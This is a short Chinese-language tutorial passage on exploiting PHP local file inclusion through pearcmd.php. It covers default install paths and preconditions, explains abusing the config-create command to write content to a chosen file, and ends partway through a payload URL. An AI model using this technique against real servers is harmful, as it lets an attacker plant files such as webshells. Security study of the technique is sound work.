浅谈文件包含之包含pearcmd.php漏洞

文件包含之包含pearcmd.php漏洞

1.概念

pecl是PHP中用于管理扩展而使用的命令行工具，而pear是pecl依赖的类库。在7.3及以前，pecl/pear是默认安装的；

在7.4及以后，需要我们在编译PHP的时候指定--with-pear才会安装。

不过，在Docker任意版本镜像中，pcel/pear都会被默认安装，安装的路径在/usr/local/lib/php。

要利用这个pearcmd.php需要满足几个条件：

（1）.要开启register_argc_argv这个选项在Docker中使自动开启的

（2）.要有文件包含的利用

我们再来看一下pearcmd.php可以接受哪些命令

2.利用

看到config-create，去阅读其代码和帮助，可以知道，这个命令需要传入两个参数，其中第二个参数是写入的文件路径，第一个参数会被写入到这个文件中。

所以最后构造出payload：

/index.php?+config-create+/&file=/usr/loc